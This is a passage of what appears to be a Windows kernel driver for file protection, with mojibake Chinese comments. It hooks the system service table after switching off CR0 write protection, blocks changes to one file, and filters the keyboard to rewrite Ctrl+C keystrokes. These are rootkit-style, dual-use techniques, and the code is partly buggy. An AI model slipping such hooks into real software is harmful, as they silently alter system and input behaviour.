PEPROCESS *Process\r\n );\r\n\r\nHANDLE\r\n PsGetProcessId(\r\n IN PEPROCESS Process\r\n );\r\n\r\nNTSTATUS\r\nRtlFormatCurrentUserKeyPath(\r\n OUT PUNICODE_STRING CurrentUserKeyPath\r\n );\r\n\r\nVOID KeAttachProcess( PEPROCESS proc );\r\nVOID KeDetachProcess();\r\n" }, { "path": "ProtectFilex86/FileProtectX86.c", "content": "\r\n#ifndef CXX_FILEPROTECTX86_H\r\n# include \"FileProtectX86.h\"\r\n#endif\r\n\r\nULONG gC2pKeyCount = 0;\r\nPDRIVER_OBJECT gDriverObject = NULL;\r\n\r\nBOOLEAN bOk = FALSE;\r\n\r\nULONG_PTR IndexOffsetOfFunction = 0;\r\nULONG_PTR SSDTDescriptor = 0;\r\nKIRQL Irql;\r\nULONG_PTR ulIndex = 0;\r\nULONG_PTR ulIndex1 = 0;\r\nULONG_PTR ulIndex2 = 0;\r\npfnNtSetInformationFile Old_NtSetInformationFileWinXP = NULL;\r\npfnNtDeleteFile Old_NtDeleteFileWinXP = NULL;\r\n//pfnNtCreateFile Old_NtCreateFileWinXP = NULL;\r\npfnNtWriteFile Old_NtWriteFileWinXP = NULL;\r\nNTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)\r\n{\r\n ULONG i; \r\n NTSTATUS status;\r\n\r\n // деķַָ\r\n for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) \r\n { \r\n DriverObject->MajorFunction[i] = c2pDispatchGeneral; \r\n } \r\n\r\n // дһReadַΪҪĹ˾ǶȡİϢ\r\n // ĶҪַд\r\n DriverObject->MajorFunction[IRP_MJ_READ] = c2pDispatchRead; \r\n\r\n // дһIRP_MJ_POWERΪмҪ\r\n // һPoCallDriverһPoStartNextPowerIrpȽ⡣\r\n DriverObject->MajorFunction [IRP_MJ_POWER] = c2pPower; \r\n\r\n // ֪ʲôʱһǰ󶨹豸жˣӻ\r\n // εˣרдһPNP弴ãַ\r\n DriverObject->MajorFunction [IRP_MJ_PNP] = c2pPnP; \r\n\r\n // жغ\r\n DriverObject->DriverUnload = c2pUnload; \r\n gDriverObject = DriverObject;\r\n // м豸\r\n status =c2pAttachDevices(DriverObject, RegisterPath);\r\n\r\n SSDTDescriptor = (ULONG_PTR)GetFunctionAddressByNameFromNtosExport(L\"KeServiceDescriptorTable\");\r\n IndexOffsetOfFunction = 1;\r\n\r\n ulIndex = GetSSDTApiFunctionIndexFromNtdll(\"NtSetInformationFile\");\r\n ulIndex1 = GetSSDTApiFunctionIndexFromNtdll(\"NtWriteFile\");\r\n ulIndex2 = GetSSDTApiFunctionIndexFromNtdll(\"NtDeleteFile\");\r\n\r\n HookSSDT(ulIndex);\r\n HookWrite(ulIndex1);\r\n HookDelete(ulIndex2);\r\n\r\n return STATUS_SUCCESS;\r\n}\r\n\r\n\r\n\r\nNTSTATUS \r\n c2pDevExtInit( \r\n IN PC2P_DEV_EXT devExt, \r\n IN PDEVICE_OBJECT pFilterDeviceObject, \r\n IN PDEVICE_OBJECT pTargetDeviceObject, \r\n IN PDEVICE_OBJECT pLowerDeviceObject ) \r\n{ \r\n memset(devExt, 0, sizeof(C2P_DEV_EXT)); \r\n devExt->NodeSize = sizeof(C2P_DEV_EXT); \r\n devExt->pFilterDeviceObject = pFilterDeviceObject; \r\n KeInitializeSpinLock(&(devExt->IoRequestsSpinLock)); \r\n KeInitializeEvent(&(devExt->IoInProgressEvent), NotificationEvent, FALSE); \r\n devExt->TargetDeviceObject = pTargetDeviceObject; \r\n devExt->LowerDeviceObject = pLowerDeviceObject; \r\n return( STATUS_SUCCESS ); \r\n}\r\n\r\n\r\n// 졣ܴKbdclassȻ\r\n// е豸\r\nNTSTATUS \r\n c2pAttachDevices( \r\n IN PDRIVER_OBJECT DriverObject, \r\n IN PUNICODE_STRING RegistryPath \r\n ) \r\n{ \r\n NTSTATUS status = 0; \r\n UNICODE_STRING uniNtNameString; \r\n PC2P_DEV_EXT devExt; \r\n PDEVICE_OBJECT pFilterDeviceObject = NULL; \r\n PDEVICE_OBJECT pTargetDeviceObject = NULL; \r\n PDEVICE_OBJECT pLowerDeviceObject = NULL; \r\n\r\n PDRIVER_OBJECT KbdDriverObject = NULL; \r\n\r\n KdPrint((\"MyAttach\\n\")); \r\n\r\n // ʼһַKdbclass֡\r\n RtlInitUnicodeString(&uniNtNameString, KBD_DRIVER_NAME); \r\n // ǰ豸ӡֻ򿪵\r\n status = ObReferenceObjectByName ( \r\n &uniNtNameString, \r\n OBJ_CASE_INSENSITIVE, \r\n NULL, \r\n 0, \r\n IoDriverObjectType, \r\n KernelMode, \r\n NULL, \r\n &KbdDriverObject \r\n ); \r\n // ʧ˾ֱӷ\r\n if(!NT_SUCCESS(status)) \r\n { \r\n KdPrint((\"MyAttach: Couldn't get the MyTest Device Object\\n\")); \r\n return( status ); \r\n }\r\n else\r\n {\r\n // ҪӦá֮ǡ\r\n ObDereferenceObject(DriverObject);\r\n }\r\n\r\n // 豸еĵһ豸 \r\n pTargetDeviceObject = KbdDriverObject->DeviceObject;\r\n // ڿʼ豸\r\n while (pTargetDeviceObject) \r\n {\r\n // һ豸ǰѧϰġINOUT궼\r\n // պֻ꣬б־壬һ\r\n status = IoCreateDevice( \r\n IN DriverObject, \r\n IN sizeof(C2P_DEV_EXT), \r\n IN NULL, \r\n IN pTargetDeviceObject->DeviceType, \r\n IN pTargetDeviceObject->Characteristics, \r\n IN FALSE, \r\n OUT &pFilterDeviceObject \r\n ); \r\n\r\n // ʧ˾ֱ˳\r\n if (!NT_SUCCESS(status)) \r\n { \r\n KdPrint((\"MyAttach: Couldn't create the MyFilter Filter Device Object\\n\")); \r\n return (status); \r\n } \r\n\r\n // 󶨡pLowerDeviceObjectǰ֮õһ豸Ҳ\r\n // ǰ泣˵νʵ豸\r\n pLowerDeviceObject = \r\n IoAttachDeviceToDeviceStack(pFilterDeviceObject, pTargetDeviceObject); \r\n // ʧˣ֮ǰIJ˳\r\n if(!pLowerDeviceObject) \r\n { \r\n KdPrint((\"MyAttach: Couldn't attach to MyTest Device Object\\n\")); \r\n IoDeleteDevice(pFilterDeviceObject); \r\n pFilterDeviceObject = NULL; \r\n return( status ); \r\n } \r\n\r\n // 豸չҪϸ豸չӦá\r\n devExt = (PC2P_DEV_EXT)(pFilterDeviceObject->DeviceExtension); \r\n c2pDevExtInit( \r\n devExt, \r\n pFilterDeviceObject, \r\n pTargetDeviceObject, \r\n pLowerDeviceObject ); \r\n\r\n // IJǰ˴ڵIJһ¡ﲻٽˡ\r\n pFilterDeviceObject->DeviceType=pLowerDeviceObject->DeviceType; \r\n pFilterDeviceObject->Characteristics=pLowerDeviceObject->Characteristics; \r\n pFilterDeviceObject->StackSize=pLowerDeviceObject->StackSize+1; \r\n pFilterDeviceObject->Flags |= pLowerDeviceObject->Flags & (DO_BUFFERED_IO | DO_DIRECT_IO | DO_POWER_PAGABLE) ; \r\n //next device \r\n pTargetDeviceObject = pTargetDeviceObject->NextDevice;\r\n }\r\n return status; \r\n} \r\n\r\n\r\nVOID \r\n c2pDetach(IN PDEVICE_OBJECT pDeviceObject) \r\n{ \r\n PC2P_DEV_EXT devExt; \r\n BOOLEAN NoRequestsOutstanding = FALSE; \r\n devExt = (PC2P_DEV_EXT)pDeviceObject->DeviceExtension; \r\n __try \r\n { \r\n __try \r\n { \r\n IoDetachDevice(devExt->TargetDeviceObject);\r\n devExt->TargetDeviceObject = NULL; \r\n IoDeleteDevice(pDeviceObject); \r\n devExt->pFilterDeviceObject = NULL; \r\n DbgPrint((\"Detach Finished\\n\")); \r\n } \r\n __except (EXCEPTION_EXECUTE_HANDLER){} \r\n } \r\n __finally{} \r\n return; \r\n}\r\n\r\n\r\n\r\nVOID \r\n c2pUnload(IN PDRIVER_OBJECT DriverObject) \r\n{ \r\n PDEVICE_OBJECT DeviceObject; \r\n PDEVICE_OBJECT OldDeviceObject; \r\n PC2P_DEV_EXT devExt; \r\n\r\n LARGE_INTEGER lDelay;\r\n PRKTHREAD CurrentThread;\r\n //delay some time \r\n lDelay = RtlConvertLongToLargeInteger(100 * DELAY_ONE_MILLISECOND);\r\n CurrentThread = KeGetCurrentThread();\r\n // ѵǰ߳ΪʵʱģʽԱоӰ\r\n KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);\r\n\r\n UNREFERENCED_PARAMETER(DriverObject); \r\n KdPrint((\"DriverEntry unLoading...\\n\")); \r\n\r\n // 豸һɽ\r\n DeviceObject = DriverObject->DeviceObject;\r\n while (DeviceObject)\r\n {\r\n // 󶨲ɾе豸\r\n c2pDetach(DeviceObject);\r\n DeviceObject = DeviceObject->NextDevice;\r\n } \r\n ASSERT(NULL == DriverObject->DeviceObject);\r\n\r\n while (gC2pKeyCount)\r\n {\r\n KeDelayExecutionThread(KernelMode, FALSE, &lDelay);\r\n }\r\n\r\n UnHookSSDT(ulIndex);\r\n UnHookSSDTWrite(ulIndex1);\r\n UnHookSSDTDelete(ulIndex2);\r\n KdPrint((\"DriverEntry unLoad OK!\\n\")); \r\n //return; \r\n} \r\n\r\n\r\n//DzĵIRP\r\nNTSTATUS c2pDispatchGeneral( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp \r\n ) \r\n{ \r\n // ķֱַskipȻIoCallDriverIRP͵ʵ豸\r\n // 豸 \r\n KdPrint((\"Other Diapatch!\")); \r\n IoSkipCurrentIrpStackLocation(Irp); \r\n return IoCallDriver(((PC2P_DEV_EXT)\r\n DeviceObject->DeviceExtension)->LowerDeviceObject, Irp); \r\n} \r\n//ֻܺΪIRP_MJ_POWERIRP\r\nNTSTATUS c2pPower( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp \r\n ) \r\n{ \r\n PC2P_DEV_EXT devExt;\r\n devExt =\r\n (PC2P_DEV_EXT)DeviceObject->DeviceExtension; \r\n\r\n PoStartNextPowerIrp( Irp ); \r\n IoSkipCurrentIrpStackLocation( Irp ); \r\n return PoCallDriver(devExt->LowerDeviceObject, Irp ); \r\n} \r\n//豸γʱ󶨣ɾ豸\r\nNTSTATUS c2pPnP( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp \r\n ) \r\n{ \r\n PC2P_DEV_EXT devExt; \r\n PIO_STACK_LOCATION irpStack; \r\n NTSTATUS status = STATUS_SUCCESS; \r\n KIRQL oldIrql; \r\n KEVENT event; \r\n\r\n // ʵ豸\r\n devExt = (PC2P_DEV_EXT)(DeviceObject->DeviceExtension); \r\n irpStack = IoGetCurrentIrpStackLocation(Irp); \r\n\r\n switch (irpStack->MinorFunction) \r\n { \r\n case IRP_MN_REMOVE_DEVICE: \r\n KdPrint((\"IRP_MN_REMOVE_DEVICE\\n\")); \r\n\r\n // Ȱȥ\r\n IoSkipCurrentIrpStackLocation(Irp); \r\n IoCallDriver(devExt->LowerDeviceObject, Irp); \r\n // Ȼ󶨡\r\n IoDetachDevice(devExt->LowerDeviceObject); \r\n // ɾԼɵ豸\r\n IoDeleteDevice(DeviceObject); \r\n status = STATUS_SUCCESS; \r\n break; \r\n\r\n default: \r\n // ͵IRPȫֱ·ɡ \r\n IoSkipCurrentIrpStackLocation(Irp); \r\n status = IoCallDriver(devExt->LowerDeviceObject, Irp); \r\n } \r\n return status; \r\n}\r\n\r\n// һIRPɻصԭ\r\nNTSTATUS c2pReadComplete( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp, \r\n IN PVOID Context \r\n ) \r\n{\r\n POBJECT_NAME_INFORMATION ObjetNameInfor; \r\n ULONG* ulProcessNameLen;\r\n PIO_STACK_LOCATION IrpSp;\r\n ULONG buf_len = 0;\r\n PUCHAR buf = NULL;\r\n size_t i;\r\n ULONG numKeys = 0;\r\n IrpSp = IoGetCurrentIrpStackLocation( Irp );\r\n\r\n // dzɹġȻʧˣôȡ\r\n // һϢûġ\r\n if( NT_SUCCESS( Irp->IoStatus.Status ) ) \r\n { \r\n PKEYBOARD_INPUT_DATA pKeyData;\r\n // öɺĻ\r\n buf = Irp->AssociatedIrp.SystemBuffer;\r\n pKeyData = Irp->AssociatedIrp.SystemBuffer;\r\n\r\n // ijȡһ˵ֵж೤\r\n // InformationС\r\n\r\n buf_len = Irp->IoStatus.Information;\r\n numKeys = Irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);\r\n\r\n __try\r\n {\r\n if (NT_SUCCESS(IoQueryFileDosDeviceName((PFILE_OBJECT)IrpSp->FileObject, &ObjetNameInfor))) \r\n { \r\n if(wcsstr(ObjetNameInfor->Name.Buffer,L\"Shine.txt\")!=0)\r\n {\r\n DbgPrint(\"aaaaaaa\");\r\n }\r\n } \r\n }\r\n __except(1)\r\n {\r\n DbgPrint(\"Exception:%x\",GetExceptionCode());\r\n }\r\n\r\n\r\n //ͨProcessý\r\n for(i = 0; i < numKeys; i++) \r\n {\r\n // DbgPrint(\"%02X %d\\n\",pKeyData[i].MakeCode,pKeyData[i].Flags);\r\n\r\n if(pKeyData[i].MakeCode == 0x1d && pKeyData[i].Flags == KEY_MAKE)\r\n {\r\n //Ctrl\r\n bOk = TRUE;\r\n }\r\n\r\n if(pKeyData[i].MakeCode == 0x2e && pKeyData[i].Flags == KEY_MAKE && bOk == TRUE ) //\r\n {\r\n pKeyData[i].MakeCode = 0x20;\r\n bOk = FALSE;\r\n DbgPrint(\"aaaaaaaaaaaaaa\");\r\n }\r\n }\r\n // һĴܼ򵥵Ĵӡеɨ\r\n // 롣\r\n\r\n // for(i=0;iPendingReturned )\r\n { \r\n IoMarkIrpPending( Irp ); \r\n } \r\n return Irp->IoStatus.Status;\r\n}\r\n\r\nNTSTATUS c2pDispatchRead( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp ) \r\n{ \r\n NTSTATUS status = STATUS_SUCCESS; \r\n PC2P_DEV_EXT devExt; \r\n PIO_STACK_LOCATION currentIrpStack; \r\n KEVENT waitEvent;\r\n KeInitializeEvent( &waitEvent, NotificationEvent, FALSE );\r\n\r\n if (Irp->CurrentLocation == 1) \r\n { \r\n ULONG ReturnedInformation = 0; \r\n KdPrint((\"Dispatch encountered bogus current location\\n\")); \r\n status = STATUS_INVALID_DEVICE_REQUEST; \r\n Irp->IoStatus.Status = status; \r\n Irp->IoStatus.Information = ReturnedInformation; \r\n IoCompleteRequest(Irp, IO_NO_INCREMENT); \r\n return(status); \r\n } \r\n\r\n // ȫֱ1\r\n gC2pKeyCount++;\r\n\r\n // õ豸չĿ֮Ϊ˻һ豸ָ롣\r\n devExt =\r\n (PC2P_DEV_EXT)DeviceObject->DeviceExtension;\r\n\r\n // ûصIRPȥ ֮ĴҲͽˡ\r\n // ʣµҪȴɡ\r\n currentIrpStack = IoGetCurrentIrpStackLocation(Irp); \r\n IoCopyCurrentIrpStackLocationToNext(Irp);\r\n IoSetCompletionRoutine( Irp, c2pReadComplete, \r\n DeviceObject, TRUE, TRUE, TRUE ); \r\n return IoCallDriver( devExt->LowerDeviceObject, Irp ); \r\n}\r\n\r\nVOID HookSSDT(ULONG_PTR ulIndex)\r\n{\r\n PULONG32 ServiceTableBase = NULL;\r\n ServiceTableBase = (PULONG32)((PSYSTEM_SERVICE_TABLE32)SSDTDescriptor)->ServiceTableBase; //׵ַ\r\n Old_NtSetInformationFileWinXP = (pfnNtSetInformationFile)ServiceTableBase[ulIndex]; //ȱԭȵĺַ\r\n\r\n WPOFF(); \r\n ServiceTableBase[ulIndex] = (ULONG32)Fake_NtSetInformationFileWinXP; //KeBugCheckExƫƵַSSDT\r\n WPON(); \r\n}\r\n\r\nVOID HookWrite(ULONG_PTR ulIndex)\r\n{\r\n PULONG32 ServiceTableBase = NULL;\r\n ServiceTableBase = (PULONG32)((PSYSTEM_SERVICE_TABLE32)SSDTDescriptor)->ServiceTableBase; //׵ַ\r\n Old_NtWriteFileWinXP = (pfnNtWriteFile)ServiceTableBase[ulIndex]; //ȱԭȵĺַ\r\n\r\n WPOFF(); \r\n ServiceTableBase[ulIndex] = (ULONG32)Fake_NtWriteFileWinXP; //KeBugCheckExƫƵַSSDT\r\n WPON();\r\n}\r\n\r\nVOID HookDelete(ULONG_PTR ulIndex)\r\n{\r\n PULONG32 ServiceTableBase = NULL;\r\n ServiceTableBase = (PULONG32)((PSYSTEM_SERVICE_TABLE32)SSDTDescriptor)->ServiceTableBase; //׵ַ\r\n Old_NtDeleteFileWinXP = (pfnNtDeleteFile)ServiceTableBase[ulIndex]; //ȱԭȵĺַ\r\n\r\n WPOFF(); \r\n ServiceTableBase[ulIndex] = (ULONG32)Fake_NtDeleteFileWinXP; //KeBugCheckExƫƵַSSDT\r\n WPON();\r\n}\r\n\r\n\r\nVOID\r\n UnHookSSDT(ULONG_PTR ulIndex)\r\n{\r\n PULONG32 ServiceTableBase = NULL;\r\n ServiceTableBase=(PULONG32)((PSYSTEM_SERVICE_TABLE32)SSDTDescriptor)->ServiceTableBase;\r\n\r\n WPOFF();\r\n ServiceTableBase[ulIndex] = (ULONG32)Old_NtSetInformationFileWinXP;\r\n WPON();\r\n}\r\n\r\nVOID\r\n UnHookSSDTWrite(ULONG_PTR ulIndex)\r\n{\r\n\r\n PULONG32 ServiceTableBase = NULL;\r\n ServiceTableBase=(PULONG32)((PSYSTEM_SERVICE_TABLE32)SSDTDescriptor)->ServiceTableBase;\r\n\r\n WPOFF();\r\n ServiceTableBase[ulIndex] = (ULONG32)Old_NtWriteFileWinXP;\r\n WPON();\r\n\r\n}\r\n\r\nVOID\r\n UnHookSSDTDelete(ULONG_PTR ulIndex)\r\n{\r\n PULONG32 ServiceTableBase = NULL;\r\n ServiceTableBase=(PULONG32)((PSYSTEM_SERVICE_TABLE32)SSDTDescriptor)->ServiceTableBase;\r\n\r\n WPOFF();\r\n ServiceTableBase[ulIndex] = (ULONG32)Old_NtDeleteFileWinXP;\r\n WPON();\r\n}\r\n\r\n\r\nNTSTATUS Fake_NtSetInformationFileWinXP(\r\n __in HANDLE FileHandle,\r\n __out PIO_STATUS_BLOCK IoStatusBlock,\r\n __in_bcount(Length) PVOID FileInformation,\r\n __in ULONG Length,\r\n __in FILE_INFORMATION_CLASS FileInformationClass\r\n )\r\n{\r\n NTSTATUS Status;\r\n PFILE_OBJECT hObject;\r\n POBJECT_NAME_INFORMATION ObjetNameInfor; \r\n\r\n Status = ObReferenceObjectByHandle(FileHandle,FILE_READ_DATA,0,KernelMode,&hObject, 0);\r\n //ͨ̾ȡEProcess\r\n\r\n if (NT_SUCCESS(IoQueryFileDosDeviceName((PFILE_OBJECT)hObject, &ObjetNameInfor))) \r\n { \r\n if(wcsstr((ObjetNameInfor->Name).Buffer,L\"D:\\\\Shine.txt\"))\r\n {\r\n if(FileInformationClass == FileRenameInformation)\r\n {\r\n return STATUS_ACCESS_DENIED;\r\n }\r\n }\r\n } \r\n\r\n return Old_NtSetInformationFileWinXP(FileHandle,IoStatusBlock,FileInformation,Length,FileInformationClass);\r\n}\r\n\r\nNTSTATUS\r\n Fake_NtWriteFileWinXP (\r\n __in HANDLE FileHandle,\r\n __in_opt HANDLE Event,\r\n __in_opt PIO_APC_ROUTINE ApcRoutine,\r\n __in_opt PVOID ApcContext,\r\n __out PIO_STATUS_BLOCK IoStatusBlock,\r\n __in_bcount(Length) PVOID Buffer,\r\n __in ULONG Length,\r\n __in_opt PLARGE_INTEGER ByteOffset,\r\n __in_opt PULONG Key\r\n )\r\n{\r\n NTSTATUS Status;\r\n PFILE_OBJECT hObject;\r\n POBJECT_NAME_INFORMATION ObjetNameInfor; \r\n\r\n Status = ObReferenceObjectByHandle(FileHandle,FILE_READ_DATA,0,KernelMode,&hObject, 0);\r\n //ͨ̾ȡEProcess\r\n\r\n if (NT_SUCCESS(IoQueryFileDosDeviceName((PFILE_OBJECT)hObject, &ObjetNameInfor))) \r\n { \r\n if(wcsstr((ObjetNameInfor->Name).Buffer,L\"D:\\\\Shine.txt\"))\r\n {\r\n return STATUS_ACCESS_DENIED;\r\n }\r\n } \r\n\r\n return Old_NtWriteFileWinXP(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,Buffer,Length,ByteOffset,Key);\r\n}\r\n\r\n\r\nNTSTATUS Fake_NtDeleteFileWinXP(\r\n __in POBJECT_ATTRIBUTES ObjectAttributes\r\n )\r\n{\r\n if(wcsstr((ObjectAttributes->ObjectName)->Buffer,L\"D:\\\\Shine.txt\"))\r\n {\r\n return STATUS_ACCESS_DENIED;\r\n }\r\n return Old_NtDeleteFileWinXP(ObjectAttributes);\r\n}\r\n\r\n\r\n\r\nPVOID \r\n GetFunctionAddressByNameFromNtosExport(WCHAR *wzFunctionName)\r\n{\r\n UNICODE_STRING uniFunctionName; \r\n PVOID FunctionAddress = NULL;\r\n\r\n if (wzFunctionName && wcslen(wzFunctionName) > 0)\r\n {\r\n RtlInitUnicodeString(&uniFunctionName, wzFunctionName); \r\n FunctionAddress = MmGetSystemRoutineAddress(&uniFunctionName); \r\n }\r\n\r\n return FunctionAddress;\r\n}\r\n\r\nLONG GetSSDTApiFunctionIndexFromNtdll(char* szFindFunctionName)\r\n{\r\n\r\n NTSTATUS Status = STATUS_UNSUCCESSFUL;\r\n PVOID MapBase = NULL;\r\n PIMAGE_NT_HEADERS NtHeader;\r\n PIMAGE_EXPORT_DIRECTORY ExportTable;\r\n ULONG* FunctionAddresses;\r\n ULONG* FunctionNames;\r\n USHORT* FunctionIndexs;\r\n ULONG ulIndex;\r\n ULONG i;\r\n CHAR* szFunctionName;\r\n SIZE_T ViewSize=0;\r\n ULONG_PTR ulFunctionAddress;\r\n WCHAR wzNtdll[] = L\"\\\\SystemRoot\\\\System32\\\\ntdll.dll\";\r\n\r\n Status = MapFileInUserSpace(wzNtdll, NtCurrentProcess(), &MapBase, &ViewSize);\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return STATUS_UNSUCCESSFUL;\r\n }\r\n else\r\n {\r\n __try{\r\n NtHeader = RtlImageNtHeader(MapBase);\r\n if (NtHeader && NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress){\r\n ExportTable =(IMAGE_EXPORT_DIRECTORY*)((ULONG_PTR)MapBase + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\r\n FunctionAddresses = (ULONG*)((ULONG_PTR)MapBase + ExportTable->AddressOfFunctions);\r\n FunctionNames = (ULONG*)((ULONG_PTR)MapBase + ExportTable->AddressOfNames);\r\n FunctionIndexs = (USHORT*)((ULONG_PTR)MapBase + ExportTable->AddressOfNameOrdinals);\r\n for(i = 0; i < ExportTable->NumberOfNames; i++)\r\n {\r\n szFunctionName = (LPSTR)((ULONG_PTR)MapBase + FunctionNames[i]);\r\n if (_stricmp(szFunctionName, szFindFunctionName) == 0) \r\n {\r\n ulIndex = FunctionIndexs[i]; \r\n ulFunctionAddress = (ULONG_PTR)((ULONG_PTR)MapBase + FunctionAddresses[ulIndex]);\r\n ulIndex=*(ULONG*)(ulFunctionAddress+IndexOffsetOfFunction);\r\n break;\r\n }\r\n }\r\n }\r\n }__except(EXCEPTION_EXECUTE_HANDLER)\r\n {\r\n\r\n }\r\n }\r\n\r\n if (ulIndex == -1)\r\n {\r\n DbgPrint(\"%s Get Index Error\\n\", szFindFunctionName);\r\n }\r\n\r\n ZwUnmapViewOfSection(NtCurrentProcess(), MapBase);\r\n return ulIndex;\r\n}\r\n\r\nNTSTATUS \r\n MapFileInUserSpace(WCHAR* wzFilePath,IN HANDLE hProcess OPTIONAL,\r\n OUT PVOID *BaseAddress,\r\n OUT PSIZE_T ViewSize OPTIONAL)\r\n{\r\n NTSTATUS Status = STATUS_INVALID_PARAMETER;\r\n HANDLE hFile = NULL;\r\n HANDLE hSection = NULL;\r\n OBJECT_ATTRIBUTES oa;\r\n SIZE_T MapViewSize = 0;\r\n IO_STATUS_BLOCK Iosb;\r\n UNICODE_STRING uniFilePath;\r\n\r\n if (!wzFilePath || !BaseAddress){\r\n return Status;\r\n }\r\n\r\n RtlInitUnicodeString(&uniFilePath, wzFilePath);\r\n InitializeObjectAttributes(&oa,\r\n &uniFilePath,\r\n OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,\r\n NULL,\r\n NULL\r\n );\r\n\r\n Status = IoCreateFile(&hFile,\r\n GENERIC_READ | SYNCHRONIZE,\r\n &oa,\r\n &Iosb,\r\n NULL,\r\n FILE_ATTRIBUTE_NORMAL,\r\n FILE_SHARE_READ,\r\n FILE_OPEN,\r\n FILE_SYNCHRONOUS_IO_NONALERT,\r\n NULL,\r\n 0,\r\n CreateFileTypeNone,\r\n NULL,\r\n IO_NO_PARAMETER_CHECKING\r\n );\r\n\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return Status;\r\n }\r\n\r\n oa.ObjectName = NULL;\r\n Status = ZwCreateSection(&hSection,\r\n SECTION_QUERY | SECTION_MAP_READ,\r\n &oa,\r\n NULL,\r\n PAGE_WRITECOPY,\r\n SEC_IMAGE,\r\n hFile\r\n );\r\n ZwClose(hFile);\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return Status;\r\n }\r\n\r\n if (!hProcess){\r\n hProcess = NtCurrentProcess();\r\n }\r\n\r\n Status = ZwMapViewOfSection(hSection, \r\n hProcess, \r\n BaseAddress, \r\n 0, \r\n 0, \r\n 0, \r\n ViewSize ? ViewSize : &MapViewSize, \r\n ViewUnmap, \r\n 0, \r\n PAGE_WRITECOPY\r\n );\r\n ZwClose(hSection);\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return Status;\r\n }\r\n\r\n return Status;\r\n}\r\n\r\nULONG_PTR GetFunctionAddressByIndexFromSSDT32(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor)\r\n{\r\n ULONG_PTR ServiceTableBase= 0 ;\r\n PSYSTEM_SERVICE_TABLE32 SSDT = (PSYSTEM_SERVICE_TABLE32)SSDTDescriptor;\r\n\r\n ServiceTableBase=(ULONG)(SSDT ->ServiceTableBase);\r\n\r\n return (*(PULONG_PTR)(ServiceTableBase + 4 * ulIndex));\r\n}\r\n\r\nVOID WPOFF()\r\n{\r\n ULONG_PTR cr0 = 0;\r\n Irql = KeRaiseIrqlToDpcLevel();\r\n cr0 =__readcr0();\r\n cr0 &= 0xfffffffffffeffff;\r\n __writecr0(cr0);\r\n //_disable();\r\n}\r\n\r\nVOID WPON()\r\n{\r\n ULONG_PTR cr0=__readcr0();\r\n cr0 |= 0x10000;\r\n //_enable();\r\n __writecr0(cr0);\r\n KeLowerIrql(Irql);\r\n}\r\n\r\n\r\n" }, { "path": "ProtectFilex86/FileProtectX86.h", "content": "\r\n\r\n#ifndef CXX_FILEPROTECTX86_H\r\n#define CXX_FILEPROTECTX86_H\r\n\r\n\r\n#include \r\n#include \r\nNTSTATUS\r\n DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath);\r\n\r\n\r\n#include \r\n\r\n\r\n#define SEC_IMAGE 0x01000000\r\n\r\ntypedef struct _SYSTEM_SERVICE_TABLE32 {\r\n PVOID ServiceTableBase;\r\n PVOID ServiceCounterTableBase;\r\n ULONG32 NumberOfServices;\r\n PVOID ParamTableBase;\r\n} SYSTEM_SERVICE_TABLE32, *PSYSTEM_SERVICE_TABLE32;\r\n\r\n\r\n\r\ntypedef\r\nNTSTATUS\r\n (*pfnNtSetInformationFile) (\r\n __in HANDLE FileHandle,\r\n __out PIO_STATUS_BLOCK IoStatusBlock,\r\n __in_bcount(Length) PVOID FileInformation,\r\n __in ULONG Length,\r\n __in FILE_INFORMATION_CLASS FileInformationClass\r\n );\r\nNTSTATUS Fake_NtSetInformationFileWinXP(\r\n __in HANDLE FileHandle,\r\n __out PIO_STATUS_BLOCK IoStatusBlock,\r\n __in_bcount(Length) PVOID FileInformation,\r\n __in ULONG Length,\r\n __in FILE_INFORMATION_CLASS FileInformationClass\r\n );\r\n\r\n\r\ntypedef\r\n NTSTATUS\r\n (*pfnNtDeleteFile) (\r\n __in POBJECT_ATTRIBUTES ObjectAttributes\r\n );\r\n\r\n\r\nNTSTATUS Fake_NtDeleteFileWinXP(\r\n __in POBJECT_ATTRIBUTES ObjectAttributes\r\n );\r\n\r\n\r\ntypedef\r\nNTSTATUS\r\n (*pfnNtWriteFile) (\r\n __in HANDLE FileHandle,\r\n __in_opt HANDLE Event,\r\n __in_opt PIO_APC_ROUTINE ApcRoutine,\r\n __in_opt PVOID ApcContext,\r\n __out PIO_STATUS_BLOCK IoStatusBlock,\r\n __in_bcount(Length) PVOID Buffer,\r\n __in ULONG Length,\r\n __in_opt PLARGE_INTEGER ByteOffset,\r\n __in_opt PULONG Key\r\n );\r\nNTSTATUS\r\n Fake_NtWriteFileWinXP (\r\n __in HANDLE FileHandle,\r\n __in_opt HANDLE Event,\r\n __in_opt PIO_APC_ROUTINE ApcRoutine,\r\n __in_opt PVOID ApcContext,\r\n __out PIO_STATUS_BLOCK IoStatusBlock,\r\n __in_bcount(Length) PVOID Buffer,\r\n __in ULONG Length,\r\n __in_opt PLARGE_INTEGER ByteOffset,\r\n __in_opt PULONG Key\r\n );\r\ntypedef\r\nNTSTATUS\r\n(*pfnNtCreateFile) (\r\n __out PHANDLE FileHandle,\r\n __in ACCESS_MASK DesiredAccess,\r\n __in POBJECT_ATTRIBUTES ObjectAttributes,\r\n __out PIO_STATUS_BLOCK IoStatusBlock,\r\n __in_opt PLARGE_INTEGER AllocationSize,\r\n __in ULONG FileAttributes,\r\n __in ULONG ShareAccess,\r\n __in ULONG CreateDisposition,\r\n __in ULONG CreateOptions,\r\n 